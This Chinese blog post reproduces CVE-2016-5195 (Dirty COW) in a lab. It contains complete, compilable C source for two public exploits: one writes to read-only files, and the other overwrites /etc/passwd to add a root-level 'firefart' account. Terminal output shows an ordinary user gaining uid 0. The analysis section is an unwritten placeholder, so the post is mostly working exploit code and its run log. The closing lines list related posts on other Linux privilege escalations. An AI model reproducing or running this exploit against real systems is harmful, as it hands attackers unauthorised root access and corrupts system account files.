CVE-2016-5195 Dirtycow: Linux内核提权漏洞

以下都是github上找的源码,然后在ubuntu-12.04.5-desktop-i386上实验成功

首先运行下面的确定漏洞:

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000

正确输出最后值说明漏洞存在(以上有两条是root权限运行的命令)
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn‘t work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

漏洞利用源码:

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow‘s ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh [email protected]"
//
// DON‘T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

// $ gcc -pthread dirty.c -o dirty -lcrypt
// $ ./dirty test(test为密码)
// $ su firefart(在输入test密码即可)
// 普通用户运行上述命令后,firefart用户变为root,原始root不存在

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username ‘%s‘ and the password ‘%s‘.\n\n",
    user.username, plaintext_pw);
    printf("\nDON‘T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

运行结果:

1、漏洞存在与否:

[email protected]:/home/poc/dirty$ ls
dirty.c  dirtyc0w.c
[email protected]:/home/poc/dirty$ sudo -s
[sudo] password for jin:
[email protected]:/home/poc/dirty# echo this is not a test > foo
[email protected]:/home/poc/dirty# chmod 0404 foo
[email protected]:/home/poc/dirty# gcc -pthread dirtyc0w.c -o dirtyc0w
[email protected]:/home/poc/dirty# ./dirtyc0w foo m00000000000000000
mmap b7741000

madvise 0

procselfmem 1800000000

[email protected]:/home/poc/dirty# cat foo
m00000000000000000

2、漏洞利用:

[email protected]:/home/poc/dirty# su jin
[email protected]:/home/poc/dirty$ gcc -pthread dirty.c -o dirty -lcrypt
[email protected]:/home/poc/dirty$ ./dirty test
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: test
Complete line:
firefart:fi6bS9A.C7BDQ:0:0:pwned:/root:/bin/bash

mmap: b77b8000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username ‘firefart‘ and the password ‘test‘.

DON‘T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username ‘firefart‘ and the password ‘test‘.

DON‘T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
[email protected]:/home/poc/dirty$ su 
Password:
su: Authentication failure
[email protected]:/home/poc/dirty$ sudo su
sudo: unknown user: root
sudo: unable to initialize policy plugin
[email protected]:/home/poc/dirty$ su firefart
Password:
[email protected]:/home/poc/dirty# id
uid=0(firefart) gid=0(root) groups=0(root)

漏洞分析:

。。。。占坑(啥时候有空写呀....)

原文地址:https://www.cnblogs.com/beixiaobei/p/9051670.html

时间: 2024-10-13 02:44:43

CVE-2016-5195 Dirtycow: Linux内核提权漏洞的相关文章

Linux内核提权漏洞(CVE-2016-8655)

操作机:Ubuntu 15.10(内核版本4.2.0) chocobo_root:是本次试验的POC文件,通过执行它来验证漏洞 漏洞简介 此漏洞可用于从未授权进程中执行内核代码,攻击者只需要本地普通权限,就能利用该漏洞导致拒绝服务(系统奔溃)或提升到管理员权限. 这个漏洞最早出现于2011年4月19日的代码中:[代码地址][[https://github.com/torvalds/linux/commit/f6fb8f100b807378fda19e83e5ac6828b638603a] 直到2

CVE-2019-13272:Linux本地内核提权漏洞复现

0x00 简介 2019年07月20日,Linux正式修复了一个本地内核提权漏洞.通过此漏洞,攻击者可将普通权限用户提升为Root权限. 0x01 漏洞概述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_cred函数.但是,对象struct cred的生存周期规则不允许无条件地将RCU引用转换为稳定引用. PTRACE_TRACEME获取父进程的凭证,使其能够像父进程一样执行父进程能够执行的各种操作.如果恶意低权限子进程使

脏牛Linux本地提权漏洞复现(CVE-2016-5195)

学习该漏洞的原因: 总是看到圈子里一位老哥发文章使用这个漏洞来提权,进过测试发现centos比较难提取,而Ubuntu是比较好提权的. 漏洞范围: Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复) 危害: 低权限用户利用该漏洞可以在众多Linux系统上实现本地提权 简要分析: 该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空

CVE-2019-13272 Linux 内核提权 +cve-2018-18955

漏洞影响版本(未测试完全) Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272) 根据GitHub的代码中所述,作者测试了以下的系统,发现均可成功. Ubuntu 16.04.5 kernel 4.15.0-29-generic Ubuntu 18.04.1 kernel 4.15.0-20-generic Ubuntu 19.04 kernel 5.0.0-15-generic Ubuntu Mate 18.04.2 ke

Linux下提权常用小命令

有些新手朋友在拿到一个webshell后如果看到服务器是Linux或Unix操作系统的就直接放弃提权,认为Linux或Unix下的提权很难,不是大家能做的,其实Linux下的提权并没有很多人想象的那么难,你真去尝试做了,也许你就会发现Linux下的提权并不难,尤其是一些简单的提权方法是很容易学会的.Linux下的提权我知道的比较简单的方法都是在命令行下完成的,很多新手叉子可能根本没接触过Linux下的一些常用命令,今天危险漫步就给大家介绍一些Linux下提权过程中常用到的Linux命令,由于我也

基于RedHat发行的Apache Tomcat本地提权漏洞

描述 Tomcat最近总想搞一些大新闻,一个月都没到,Tomcat又爆出漏洞.2016年10月11日,网上爆出Tomcat本地提权漏洞,漏洞编号为CVE-2016-5425.此次受到影响的主要是基于RedHat发行版Apache Tomcat,包括CentOS,RedHat,OracleLinux,Fedora等等.主要原因是普通Tomcat用户拥有权限来对/usr/lib/tmpfiles.d/tomcat.conf这个配置文件进行读写,那么该用户组成员或者拥有普通Tomcat权限的WebSh

android提权漏洞CVE-2010-EASY修复【转】

本文转载自: http://blog.csdn.net/lhj0711010212/article/details/9351131 android提权漏洞CVE-2010-EASY修复 linux系统由udev提供系统设备的管理,比如提供热拔插usb设备等等.而Android把udev的工作移交给init进程.而linux中版本号小于1.4.1的udev不会检查是由内核还是用户发送热拔插信息.因此用户可以发送恶意的信息让内核加载定义的恶意程序从而取得root权限.该代码如下. 程序执行的顺序用(

2019-10-16,sudo提权漏洞(CVE-2019-14287)实现

sudo是linux系统命令,让普通账号以root身份执行某些命令,比如,安装软件,查看某些配置文件,关机,重启等,如果普通用户需要使用sudo需要修改配置文件,/etc/sudoers,将sudo使用权限赋予该用户 sudo提权漏洞,是一个安全策略绕过问题,去执行某些敏感的命令,cve编号是CVE-2019-14287,影响版本是 sudo版本<1.8.28 漏洞复现1,查看sudo版本,命令sudo -V 2,修改配置文件,vim /etc/sudoers, root ALL(ALL:ALL

10.16Maccms后门分析、Sudo提权漏洞(CVE-2019-14287)复现

Maccms后门分析 maccms网站基于php+mysql的系统,易用性.功能良好等优点,用途范围广 打开源码,extend\Qcloud\Sms\Sms.php.extend\upyun\src\Upyun\Api\Format.php是两个后门(Sms.php和Format.php是后门木马 二者代码相同) <?php error_reporting(E_ERROR);//报错 @ini_set('display_errors','Off'); @ini_set('max_executio